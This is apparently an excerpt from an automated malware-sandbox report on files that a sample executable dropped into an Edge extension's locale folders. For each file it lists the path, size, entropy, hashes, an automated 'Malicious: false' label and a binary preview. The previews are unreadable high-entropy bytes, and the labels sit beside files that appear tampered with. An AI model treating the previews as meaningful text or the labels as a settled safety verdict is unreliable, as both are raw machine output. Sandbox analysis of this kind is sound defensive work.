Entropy (8bit):	7.853699828557009
Encrypted:	false
SSDEEP:	24:12vmoeFsvvj64EXsgrDT9SPVvcXlodsJaUpskEqa94IX1r3KyVxg2bD:12vPvOBceDTYPVvcXlDuWaGsRLTD
MD5:	F706D1C0B3F7F7CE300A93D519C85801
SHA1:	0FB9B9DD1F26F2DE39CF82976E3DFC9DAF785F75
SHA-256:	EDDB6408D52DB04033744C1C6EDC51D523111440339906C6A704CC47F9788DAA
SHA-512:	C5221F0CEF8F4744CF5D8F30F17C8DDED7C4FFFC3FA98336934743E4FC5B06AA6358769788943531FE35287091AB9062BB392B1D6C609F1E541DEDF3242E3052
Malicious:	false
Preview:	{.. 5..1..K..9.E..]...;.R.4.6...U..(....'...s.'}..{g..B>F....+....5..S...&..~.$.Tq..]..t...~..O.?3..Mqh....v?1.BKu...Sa>=%...6E..,...'DC.....Nb.G.C..f..Pp..zz.E...[......i...-......y.S<....`{."+.2..C.........C'......T....kEP.b....ax.......G...C..~&.2.HE..}.e....w CL{.].....Zed.%r..t6....\".#.g..6.../......OK....}....T.T..j...~..%..t<.YSHe!o.o.[.mTM8/.s...5...9,...=..#.....7'\@c.W..%.a;F...e`..y3..#.L.VU..o..<.i.<....9..k.._.H...4L..R\|...\|.7...U..7].eRm..).6.8..~......-.N]%.9Q.W..I....n.z....!r......_..hq...M(..$..R.>..5.>.....K.b.fe.........E..._.3 F.Yp...k.=7'..Fi.(..,d(wy..Cn....X..S..:....o.r..a4..]..\....A..3...I.p.s......MYn..i.g..J...b.j..5f....Ez~&.52.....Fn..+....jV)...2y..T._k..v..<z.c..]._ _s.%..1...q..8`..%e.~..}.......~..0..,o...... ".K.".....>?.....e.....H..W.X.i..@q...M...{..X.M..O.u1....47<-.w..0.-$..q`...."iN>.@A...g\.......D..%n.@..E-.Pt...>....Z.....RRYf...".......:...kg..!T...^j..Fc}.Y.x........4.k.o.@..h.w

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2445
Entropy (8bit):	7.928825796796489
Encrypted:	false
SSDEEP:	48:UB5dFyp1oAQZWHNjvGAadaWyw1GTOU5CaOPbu3fv71piRfyjb70kBw87oZdD:sd0D8WHNbVakROUAab3b1pssb4ki8cL
MD5:	6A3AB92539BBF81A8EF4ED897875FDA6
SHA1:	0108A7637F460BD30FB1C2163EF148D8D7E6D8F4
SHA-256:	23C13D115E7E3B8BDC4FD8CB901FD4FE271444C45952B37228441383536893F8
SHA-512:	FDE37713214BCA640EF2AD67BAD993FBA25E09F72ABCE1DB387BDF6865EE8A9B570633C672311B7F6C1B518B9FDB532F57267E7037CE5CAE2A7FBC7F4A80E378
Malicious:	false
Preview:	{.. >.;..#u..4.7(.2..R=.........w.&+.34.......G].[...\D.l...4:i...{G^T.....qC.C.[lF.-.cY.....b6.d.B....G.k.)!.Rn.0...K..r..]AU.......g..y~.o5.P..J..F....._.~.........-.i....7......$S..~\W..........)b.V........{d\x#.GI..o..h...%...n.3jSl.G.r.b.L..~..4.h.d8Z.).9..nxy..._.3...K..t2....R...............->...a...i.\|y.I..y.I.....d..zB$i......M@.$...]%.R..d.E....J...;...../x....\|..Na...w........It.o.B<...($..cu.4`N....Y.qpEp.3.T..u..............L.wd..x......\|.L....:.....6V.$.p..c..>-....N{..x..Z..-....`..g=y.c....&..V.V.u.L9..W.~N.g3.-Q....".!.}.?G]./y....k.$......ic....:....'.q.s\.O.....)..P0..K.L...\.....K.DA......:.H]w$p...JB.Mi! ..+.....\....T4..3.B..W49K^Fl.G...[..V..{..!O.:.7Y.}..\|V.<.3...0....r..M..w..8!+..R.~.........3I..y....<.EX.a....Ah/..b..y..8fD..,.......IL.F..[.;.L..._\.\|.=...V..@.J.s.....@...E....&r.......}0Q.V66].\D..`u.>.-....8....c{.!....z#.OHUt.b..m....s..P...%...Y..w\#..."....b.Rq.E....F.A2.l..L.I..X.6..Y.D./(q9wC...X...a%Y.....j.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mn\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3112
Entropy (8bit):	7.941001101321116
Encrypted:	false
SSDEEP:	96:x3un6nXSIsUbwL96W6mbvJwn5vVaRaDBM08W:x38eHba6M2vV40B
MD5:	CA12AFFDA128BE36992915C129749E2E
SHA1:	7EE08FDC972D75F5178CB7DDADF5DC49471B15F3
SHA-256:	EA29E9FD88FE9B35E59A88D7068C12A3A2434BBB23B91F17D00B7A0BF3596F6B
SHA-512:	2C8376319D49A8F02FC7316EF8AE8422E14FD547B153A3002C43E08BC6BEA2D9D54928874977F9321CD9D32FB7CDAFA12A51F2FB87C8A98828ABCA5B328F3477
Malicious:	false
Preview:	{"cre..gWc..j..P.,m.D)...7.P.k....V..3y..CS......x..y...7..L...Ok.......A%.....e<.....tA....e..E{!(.vX....../.\..{m..v.. /]xO_.=:..Q..;5..V...j.#...t.........8/......z.G...lgc....t..'.@Dy...[.......5..V0.."..o4.0....r...i.......w.Ji...P/..P...P^. <+....?.....0...y/..c.........5......7c.V.>UB.$MI...\|.....t.D W.....^..1..\..Ex..v.p.m .w<......t..J.=..1.Ct.n.@.D."..0..l.4.?....P..U...y.i. .`.......w.8.......>A`...`U[.X....<.%..-.Z\|#..1...~s...W.?..E~..fB....t.fj.6v.J.....IX/.M.Y.@9Z..2tT...\|..5.....i..\|.?..^.X.Y.o.B....../..W..V..,..1r.zd..Y....d@...J..UH.....D..f...m~.o.`....>...t19..S.~.,..5S..6r..&L`......=v.(ae.~....j.8C.&.....s...;.u=f....~.......U.'..8FdG.R... ..L..2....%..#.I....H..._Y...=8...8.cud.8..d.e.!.XT......@.R..5(...L.-..k.s..q.".yd.l..wV.~....N.9.;....!.,..g.#.e.oRpd.z.k.]{..}.s....Ug...U....b ..22C....f.Z...k..`4......?.7a....T.G^]...f_.1..b.!....I8wjk...>\..M....u...@x.<.../\|.....s..S..p[fF..<....1..m...p.reZP..U.Y5.$..n0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2053
Entropy (8bit):	7.900318228152544
Encrypted:	false
SSDEEP:	48:NohGIPdLWEm0+9IXKEGQ4QOJNr9vAV2YKUD:G8YBZxaIXdx2Lh4XKA
MD5:	4ED8C82625E247877C5BE8BBCB348400
SHA1:	D9F26AAA6F30E0658ACAB27A2F9D466D139A7589
SHA-256:	C379A5CC5B6E0FB3477243E14D6328D3C2584ADCDE3206B4ED931B78B1A0056B
SHA-512:	6DAF3D9C8DFD04BEB49C2710FE9A7D178BF1B65CCAE75C95B7C89AF438A1C0F920B60DCEA5EB78D8983B69D2661DC9DED8B7AB2BE851E9BF91119FE7660BDABB
Malicious:	false
Preview:	{.. .j..M.$.e..dr..@Bt.L...fT.M...[......jT..3.;..iY.w.......d.X.z..V....6.....,e.... ?....m.U.d..{C..J2...Z^...3..5<.7.F1.K..o/..g....,)U#.z8].}c1....S..r..:.....(.f...mr.#..#...5\"{0.V....r...9..9...9,.<......?.....k.(&...1.a..:..B]..z.:.=.x.Y..wy.>..E...GK..G.....<.z..j.{,.S.g.Y.....Hl.Ibn].?t...+..3?.d..z."....!.p9.+.r.0..L...0pE..l.....$.J.>j\|k.G .gfb.3..vE.)..G[........V.YK..c...o.t.;.-...>`..,...,....Q<S.g.X.-.....y\...,^T.....+.N........\u...?... .....;Z....).Hu..b...=.<.TL...W.K.....m....._..kW#w. ..N..'.......?...I.;..[..i.Y......g,8gKH,@.v>......a...._.......&.4...;X....5.....<;.OW.......8...m..j.-u..# [.F.(\|"..dF.'.4,uOI=?._.,..K.....\...%.....\..\...\..p.7W.-d...@=6..v6.V%..C.&...y...5P..B..x.~..&..w2....-..f.{..#l....)P`.;.[Z\|U....O#...'....x{.7...*.Iq.s..i"..U..(5.....WB.m.V..V.Cv..5.....m.T..X(C."r.]{l7r..y4.u...&.).P.LX.......+.....R.\...2.\1c.>2....5c..@..-YY#....&.,..I..8....q(.{.].e.g...Y.=..dnp....U

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ms\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.802247413964953
Encrypted:	false
SSDEEP:	24:1c9R5Z/NTRCfQ+dfePPhk/qvp6tCeCtb1MtSCJJ+Q+5Pp0PW2bD:1wZF1MxdeXhxvp6tCvtBMsCJyOD
MD5:	5EAE91444817045F7763CFC11E513E0B
SHA1:	10FBF79934988B88C3E29DD6EEA5625F0AF51F1D
SHA-256:	6A54AB8ED9619FECF364E22F4E320E4186B1E216E1F84079B857DD4E5852243A
SHA-512:	3F22F5E6704894B6C0BA9F2DD2AD0641EACF9151F7C0AFC3B5262F16A485D35CF9288FEC597881E994614AF6B92D52A562307B4CE11E23663B048118D552B488
Malicious:	false
Preview:	{.. ..U"..{.n&I..VPr._u.....Sl3D....T..f.L...g..!..%.I..FH.>...h.O.......Ms...1..e...[..d.i'....."h...g.>.7..U.t.5.H.(...-.]=.........m.....D.q.>..(\\|g...,&8..v.....x=`....$.C..se..M"....wS....<U.es.{2.....7.P.=..Wg.+..&.Bp..i.SAE.....C.~W;..+v..=..WAj.."_.j.D.^=X....<.(.7..Je.az..{".2.. .....e....W.m..&o ..[.G.....,...\|KZ:....E.~...vR.....&.e...='{.....[..M.A.....s.m.}.........yu...x..M.y(...f.~P.k.Px...W.D..J....eb......._'[..FMb..h.;../...#Yr~.z.Q...h.."&W~..;U7..6.H...7.P.2.H....y...7O.y...D.J...&...oF\|...J.d..1.p.n....e...Rp..b;n..d.Zt&Al..,\..\...&...B...^.+s...)@E.m...n.`.....nHb.........=......y5"\a.j.....MT3....gh.OU".)....~....Hk.!.`.b..........N..".I<T.^c8..,......pUn...'..-).U..q.`.k. ..i4....W..a_...mJ..S...Hd.....t.w.V..P..1.W...Y..32.9H.W.........A.K.....Q.2.r......._c>....Vdl>.H...'.m.S....G......Z..K/..>*..jW......X.o&..F~..."....B........).t....A?..="..9.J._.7.>{u7Z.?..22...Mj&g-m...U.3...8..e.........Y.p5.....g

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4164
Entropy (8bit):	7.95502828753822
Encrypted:	false
SSDEEP:	96:LO1WpbWboVaw63dlZZekjaD28bAtY0rQV//KQIkMhYAe:LoCmj3/ZZekjaD2yAtY0rY6QzM+Ae
MD5:	DA3C63F8DECE07A29042E3DCED31B1D5
SHA1:	381B7825CAB87C33CBDF43E1A87067DE0C85BB72
SHA-256:	D7E4259F1DCC713CA82466A725D4337B98E68392884579AB1E275020299EA8C6
SHA-512:	71E9A8FA0F62E8DAA826D717D93F8CFF925B0BC11A9BF5519EE55DABBB8E922EB214FD12C7C75B405FEFF8536CDB5E1FA0CF74A858225AE79D80CA2A990616BC
Malicious:	false
Preview:	{"cre.k..O/7@......5M....M.R 9.T_...;L.,"...Y.?.[.{..@w..i\b.N.....js...n.6J9Tw.E.,.<2...#7]7.Ww........I.=v.n....,.Y.l..o[%....{.<...QMd..j.q.H..hY....S.....'...(..$#\|.:..E..<v.%.t...G...4..O..].r/c.X.n.!..H1..UT.&[Y.....W...3rr.....t.g....j.....5Ba..........g....h......&$..........7cFm...%.\|C.;S..G.2x.AI...UL.:..^$.}2....[.Zi].[..c...0..9.....cVE11....e......,...<..z..`:......hB.`O....8.%.....%..u&.5..1..m...z...O..W..kf"[2..C...Xgr...DJ89swP..S.2.P;0.@..W.D. .E$..r17x...jhqL. r.....,.J..........\..q,k?.1.....&..,i...B:....TX...!.+. ...4...S.N!.fM.V.j.nV....fi.O...1...L...(.f...7.c..wR.K.`_`.t..n:.......&......._w...A..<V.....Y..$fq..c.......=.+....TB..6[.I..z.tNl.TRgyW+j..W%....].Q..5A&DO...(.]\|...$..?B..$.z.+........X...]...,e.u.[.M......P.....%..Z...T6.N.&..r.^x5.]...\|.U.4.....QMYI...Y.'..F?.s.T...\|....yl9.s......l.^ly.>..{OJm..o........2C.IoB,.xx.Zb.a A1.`..=`.t.".I7.d.qrP..S.z.@3..u6.<........Q..$......P{F..^.P.....B

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	7.915444526724016
Encrypted:	false
SSDEEP:	48:XxOVRu2qRJLJvsD1qSQGfV5/GHO9YlWqL7HTEhtG3xqTOjlD:MRutfdsvQe5YlWqL7zlMTOZ
MD5:	3069B39C3404F26EFD7BEBC25D253309
SHA1:	6F87BBE3956263FBDB412480B831F2C536D78D2E
SHA-256:	F93A52D31460D7BD03E32A11CCBBDB239A22F05D82EB11594110E28485711E84
SHA-512:	0D91D455544F13AA117568D1B3A96575A74969AC1A53E9B7DB507FFCE031244B3DFFEB5F8697D79ED9C4068E2F37DE58B591457F7056DF8973284DB72BC2FED6
Malicious:	false
Preview:	{.. U..%..9A. ..9.....SmP.....)..4aJ..y..[^ .>.26!..m.^ffO.......T~.U.......2......Y.c..U-o....~.\....K.@?....n.......<2.~...[d..4...u......y.Hoa....s.J.Y.!.....iH.8.A\s#j...!..]S.....C0.k....'..Q.c..........W}..6.x..e.X.X ?..r..sIBp9%..R.......2.!h.$..q..9.y..<..s&.T?$.-t...2...n.@..$...Z..........C.....,. ...G.L.JU.I.S......0..~...Z..../J.f5V/..1...z..CF.$cr^>]...d...'....\|.k....../l...dV..=..4.).f.i...? ..@.#].b.c...:...A.A.e..."A.....r.g.~.OK.oSsGuDB..Z.y1....$-T..nir'8Z.Q.R..<]..Y.$.!N.hf.x.B....Q.J.egX.<)...2.<D;.....5d.j.c#xi..5.&..q..^...a..x..N.H...'...!.Nj......-....&...\|Y.w....'..A[oB.....9X9.rMW...x....i...s$..E.7fH.V..n0A[%.F....Z,&x..j...........u.$...,...d}...F+Od,.O ?..Xz}%.t..bG.>]-T".......;_..dN5.D3...#g..n-....?...D2.....A.H.K.....B.O../.....W..)..&.t3.j.v.lO..#}..P....2......Tr.xA....i..s....ACR.......>.c!Q.`0.."....=......%`.....Q8Vi.dX.Y....@..L...o.....e..j..2.9.$O..R..A...@.Rd.j. .i@...FN.&....H.^..=.......e!

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	7.818436325390485
Encrypted:	false
SSDEEP:	24:3ZRk97Ye9MsPvxOLBYGmejnDyRu6PjhYSoF+rDT0U/Qv/amak8mTc02bD:3ZSpxMsPvxOLBYG1jy1RowrDT0qQv/YP
MD5:	D5A3265F78294D5FF3057B349CDB9C84
SHA1:	964A2C9105F46A047A03FC2B3F7F07B96D19C28D
SHA-256:	5D46DAF3DFC0132E6A79B32156EBB595F03694D370BF31B0E00C276D8D631DF2
SHA-512:	390DF1646954E816F0DDE8711D5119BCD7FDF973CBAFF5EA43D1101E150C3DFA0E987533ACB6CEDAB64162942008822C6D1E35CBC70C42BD8D9EFA883D1FDCFF
Malicious:	false
Preview:	{.. ~.%.4.>...n.......D.b.T.K..dU?.P..\.....u=..K....y....\.GUOZ.....Jx.v....\|_.'.....!r...1A.....3...-}..@R...X.]+/..}.EQ...+k0.>...i..X.@../"\..vWwB.<URV.e..S.0.<af..\|qV/....)u...`.hE#_m.2a.IC..P....9...!4.&.......;.F.p.9.. ..T.W\2.a.OR[R.......M.a......[n....vB.....T.k.a..d...}9.u...D...!i1O...`..pk.....J\|.6^m.F..V.Qg......]..<L.t..q.......MK...Le..\[.....ga...)..F.F..........@.6.....`..1.L.2..?.8.&..`F[...g.&....c.}..m..Kx.-A..(....r..K.q}l.8.}..~..F..O...o_A..$.E\..%.0.".r.CpP... ..1._..`..:....P.N..2...u.I^....^.....7LL..M$.-].`.Me..sFQ.`T.I.9?..1'.n....n.5.e...22gqY.......R..l.Kt..}..8..Hf......80.)P...4...8.M`.m.....Ad..Us..P../.:O..,.......X9L.(..^._vOr.uf.]. .y..T.N7.K..H..J.^.ka.3.Gy4..*...8S..Q8.......+P't.a.P~.Y.....:.4.q%.g....x.C..~8.!..K.i.S.G..w@.I...{k..q.D+.8.........8...[......{_.....y....I.w.Jn.....2.....dn..p.5....qc.C.U5.yD..-..'..V......nq..b......G.../.;.e...I..E).CJ.c.....5.../.q..C.N..t.f)..-

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\no\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	7.841093172857719
Encrypted:	false
SSDEEP:	24:mbwpxOBfADchLtK4YVwb0FxYu2A8C5HJvU39vLWefEpGj8jJHw2bD:Qwps9AYHb0FxYJAt5pctTWef00kljD
MD5:	587EA8A123626A8F927F1520513B0090
SHA1:	76E96A075152DF1087CC9C4DF038EF371E26BFDB
SHA-256:	CC6EA8B2FAA1C01970AC949F34D513ED02FCEE16D35CA44EB3F595EBCB8F98BF
SHA-512:	582E092FE40332EEDD863BBBCB6BB2BDC4A53B9EB48AECFD27B053DFFE2EB5DEB6153C11ADC95A4223D1B39A393C71D0853F90A3AA23CD9FD31A0807340E4EE9
Malicious:	false
Preview:	{.. .....r. \|..9....u..(...(.4.....rn..R..&n.TQ.n;s.Na....Z3}...p...p.s...}........I...a.....&.l... .............T..qE`X.\|mj.I. ......$.T...V<......P..%......4...v.....!X.fe..~.q.%Ky....6..\<f;.o......(.^J?.H..g..8..8\.bX..-...../...z.........~.....-_.. Y..(....Y._./....!.d.`.(..r...$D...\|........m.z5.R8-.i^n..6._..G[d....6~......`7.!.r...o..?0$...t.......%..0x..n...y..018{k....cF.5kC......a{...!.\|{...Ly...I.s.i.=.&...`F..]...0....._[I{}J:.,...@.c.R.+..A.....x..6'.^.J8.........f?k-9g,...U........C...t>?.Y....qY..~...........si.8Y.....p..}.@UN.<....)....g....ao............).F...=.T...B.....i..2.d....v.P..R...D..%5..f..>!.k....I.>...F>.u.<.2.....R..:f....,o..=.....8....>.....Q6S-2g....H........j...2n.6..!..J/[xW.g.6...."....(8.yz.K<.A\|0\|....D.f..Uy..+..)....K./....=J'.._..v..Ti........lC.b.u{.0..2p........k.eG....(..1.x..H.7.?. .F....Tc.....r...d.b..Q$:......>W....^?:...%e.g.Sn./....... ......:....C....Wt.Xv.QD>... .B.t..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pa\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3100
Entropy (8bit):	7.944571511055789
Encrypted:	false
SSDEEP:	96:LvbygnFV7HmGFxSC/NF3hCSricudrWRSzOA7L:LTygnH7HPFhCSWWRSzR3
MD5:	808C24B855CF2614D02368F642A41B14
SHA1:	B34BEC9A3332051031FCD80D4FBC6A217727C3F4
SHA-256:	5E1052CD41CFCDFD1DF571B6BFBC7CB392E169E8FB6FB235C849EBB3C573673E
SHA-512:	19800CE68C0F6098BBC764284D792D5C5861ED3670CA06E0B233074F8619E692CEBA4BB45683D10C633639507C472CAE8EE7D27255CC0704E161731B8410D76E
Malicious:	false
Preview:	{"cre5j.n`y..$`<D...%....f...KQL...;..S..7.../...D ...d.[@...LA..h.C.r..K......E....P...\A.Fyh..<"<f....O...`...B.z..t.........}\nU.}........`..U.}..s.....&'.<.....D.7...G......\|\|>Z[\|..)....@l%.........y....,..T.....-.y_..-..;G.....e.oT.,~.]~....e.N.z$sU{.l.I.a.6.i......_.r...G[&dF.X...~.w.7.i...B...x.<....v.2.x....h........e...Z1.m^...........I..Z.B.^@.M..d$...6...E...cl).....W.(...dP .<wl...."L.C;,......p........Y\|f......v.p.]\..[S.>..~<1.(..5...!.Ek....jol..hc.9#,.."%..?..Y.zn.....F.Zqd..."....H.p...:9.+0f`. .S.y\E ..p.Wy...7..G.etH.ah>.[..........>..RK....=.c.i.....1.d.Y\H.D..D.....?.z..9...T..<..ZX..nM5....._..x....t..g.t..a....C..G.=%P,B..^u.... ..6........<D,.Q.]...Ez..7Xis...,F.1.]...}....v.m...3.......$....w..M..=C..c......hO!<.;....]..~G<.!y..(..I"..q^P...^....x@.`q>..F\|J..=M..\|D....W..G ...D..:..ddWC..P+...w#../P.]...g#.PW(T7.VF.P.$.......73.o8fw..I..$...*J.L..&KZ.....6......t....zi...2g.:.'.u.@.b0...s>..".}....;cN..d...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pl\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1312
Entropy (8bit):	7.859011034673366
Encrypted:	false
SSDEEP:	24:ROtFbLQg9GmYzyj6Ky+GS1iL5ThUjYqWl6iljFZDTbh2bD:ROtFfQg4jzpfm1iLfUjlkjVFtyD
MD5:	6649723F88AA03F201DB5C3A13B19A6E
SHA1:	224A039BE41AA5E0DE11F3066AA3D51FAAF7F6A7
SHA-256:	4826BC9781B78BA1FBC7BBC100A9CB1464EB5E80CF6D4C830C63FB8DD7408B53
SHA-512:	A0AEE12520B3988BE7359211A8175BA7FF7C96DE580B58F4E915C58814FEDC7777ECAA8BA4FBEBB15EC6BAB386FB16F3ACCCAC667BA9B86931CC5F6842AD1FD5
Malicious:	false
Preview:	{.. \.....C...k...w.. ..4.......9.C...6...L%.f}....Z....-[>.N.._:O..1.FJ...L...B..2Z...k.+b...)....[...dXfH.[..../....wagK..J....Oq9._.o[...!.r.T.w.-.r...].N....n..dS..XSb.D...1..t..}8..Lu:rF.;L..u&.#.)..(...O.~l..y.u$.T.G.&"m....-s...2F...tU.w.}..~.e.+.<.N..A..-.....ib...M.i.F4.K.)....##;..W\....WA.J..%......../>y.M...S.!..Q.r}...v..U}L.e./....?..Ws.Z.....Nl.9!.O.. ...Pu.J..d.w.).0.Z.A:f.$z...C.h..=..a.....i.d.u.k9......ZtV...E@..\.1l..W.+/.L..PI),.Z!.vi.......e...0.c.0...J6....750f.S..2xY.Y...8...........7..=..=..M.;l*.../`.I..{....\|D..1&....5.........n.@.d...Q..'.J].._@.Y.J..q......t.=.~.&.K....g.5.+v..'r..=z=..f.../.#.n:.o.....=..A6. N.....K.@.....%.i.~....>b~J.y.N....h.....X.,.....OOb$d2...Ck.]...S\....DZ.lW.s.d.#.;E%8..[O.R.T.w..7.{..M`.K.i..+.N..q2O.E+...K.D..<.c.wy?~.rd.?....Q-...lS.y#$.O..5;!n.......zF6...obA......c.!......Q..L..Y.6..(.j..\.M.4...g..$Z..........E....0..+b.e.\...F.!....P.3.(...K_.Ts../.v..".P..R...{....9..A....y..n...e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_BR\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1241
Entropy (8bit):	7.835144696102393
Encrypted:	false
SSDEEP:	24:pdA+cRnVihuUKpm/guDPjiEObqdxHCNinlV0G6SHkeE2bD:fv/5Iujjk6JPHBXD
MD5:	13C24DF7F58CC16E0A709A33BFCB100C
SHA1:	A1B2895D60A939D9F211772B958F6EE197B76E64
SHA-256:	D330EB4AE10B7BF15F9F72AAB01713418068039E80167331FA1F1D818363BC47
SHA-512:	A2C7EA9B61AD8AE8CCB0FA43DD15FE5F2FC98D13D2812833E096D40F27A2ECD5B7E053017603D199513CC6FA14D43A3DEF9C23CBD27C8C8D9AFC456BAF787BCE
Malicious:	false
Preview:	{.. .h.I9.v..R..\|$.e4o0....X.\y.d....7.x.2...M..i..k.).Q.}.6V...l?.V.A..q........7.....].....2......mm`..=.@..k#....Fn...%_.....gz.l..J.g#.EE.^<..w..`%8y&......!...X.j8R.l...{H.....[. h.x.....4h.M...............x..D1rSL..X.2...7,g..\|v......fF.5o.&..:..Ic..^G...M..R1....R1X.7L3.......D..zv^xU.....p2+.7./7.FF..d...g.(AP..z..k.pv.}...i.{Z..\|n.n.k.v.....&....'..p4E.$Z.....U.aD.Z....8xh...9.b&D....Z.=w.&O..!..M.;5...o"....H@,..MA.....iS...n.)7..fK./.\....f..n.._..=z.W..........$...Q.).[y..'Y....Z.ar..75..?.....<.l.'_.C'.0]......}..-@do..'b.cO1.}H.=......].>\.sO.........R.8.+..mQ...B.Gxf....%....!O.$.}.%A...<........\|...$k...d.1...U.......69.X....Q.;..Vwf_.....k.r.......@.9...v..'8...!..=...E...\|..D.Fru..u&..........\|j0.}.U..B.F....}{...`S.o..........D...V.ip.m.]..X..uq......g.h.iO..#6....v?...H_........\....a...P..JcZ.V.l..8...&.m.._'..R%.o3.....XrsK'.:x.z./...B>.7.....p.}..N....U)#....4...5.j..\.D7.U$.5.]..-........00]....@..t..H.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_PT\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	7.84667889772245
Encrypted:	false
SSDEEP:	24:NwEoyw65qbeToJyHNG/6Xx/xsN7RBBXv0b+yCHRHSNqH4C3G12ss+W7wE52bD:NwLyw65qbqtNg6XxJAl7v0b+RyNO42sJ
MD5:	1AA789C6641A44AFAF5E1F002EFB38D1
SHA1:	F3A1D8271F5658C865F1CE87C1E40006976CE931
SHA-256:	BA2700A0FB945DA3CAB70092C2B1441F548E6D10E9B9B9E1EC51F35001EBDC0E
SHA-512:	41C9FFF1FC12EDFF07B0B6EFB26FF7F9125ADEB58A288C1801A844EE1BAA3E80A9CD703F3F9188F4F633FCCDAAAB0601229DD3F743367B64926B05E168997CA6
Malicious:	false
Preview:	{.. ..e..w.......u..%.s,..C...5m..{._.mZ4"j..U.i4Ts5.n\...6..]S........2I...G...~)......T..4.\'gb.W.y.b..+...m8...qSH....b.u..Ok..C^..aR...<.,.q.0.g1....K}....%...NQ.w...:...o.m0$v.;U.~...Ljl.Vp..'S2./....i.(-..V~....Z.....M.....P[.`(.oQ).3..\|=........Q.^2..6...:......@..M..:;.......p..dB......U].f/...<@A...7u.n+.3.}......[.........3.,.5..Wu]y~&!.d(..z.D,a2v.L.c..j.0Va-..)..VP.OS..................2....<,`}..9cZ.\..D..... .v.......<v.K.....}...!f..n.m.z...b..V.M.aO.Aj/V.IG...?.....8`Ai.1.M!p&.z@.w\|.U.....o.?........Ay.[.J_.b7vC.L.C..)....Z......H[.......Fv..X.........D.0...p).\x.....<.......'^.Q......p+\|.`.o....e%; Gq.$.PX.A.e\|...G.}...J...D.DW.^.")...+.~]Z.R.......JsO.....q....Q..D...n..~..).'..8.......X4.R.u./.by.s.k..T....P<..W..TL.\|6.............%G..D.f....4..S.......9g7Q.m:...educ.L4q"VqV..&nbY..wR...e.......~uJ..S.......E..i%H.....\|tf.]-3........+W.?....@...Y8...u+.........p.u.......Y...#.....1.nz. .=.'}.{.@@n."....p.e..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ro\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1271
Entropy (8bit):	7.8354473436656376
Encrypted:	false
SSDEEP:	24:isEKpvo5VChlL5V6tSwvt86tUXSKFZS2G0o2Kvq0Z6UoGf6dSb2VHPV2bD:dEKpIQT1VQtdySKZhHe9cts6dSiNPuD
MD5:	2B611176F6F26B13CF31B354C8BCE91E
SHA1:	DA3007164CBA47A60B0370750579F7913C32FC4A
SHA-256:	251A6A8EA9900AF61E42EA05A2BE49E644C39991E03D79E5F099C5CC1D1DA051
SHA-512:	BA63AB9DFF0587BFEF84DD8E8B670288132963D969C9867772F52B9BB4F4AA62A4AB3FE588C4E328C37FD980A0D4AA8E88745EA529985436FCB61EB102B0D7B1
Malicious:	false
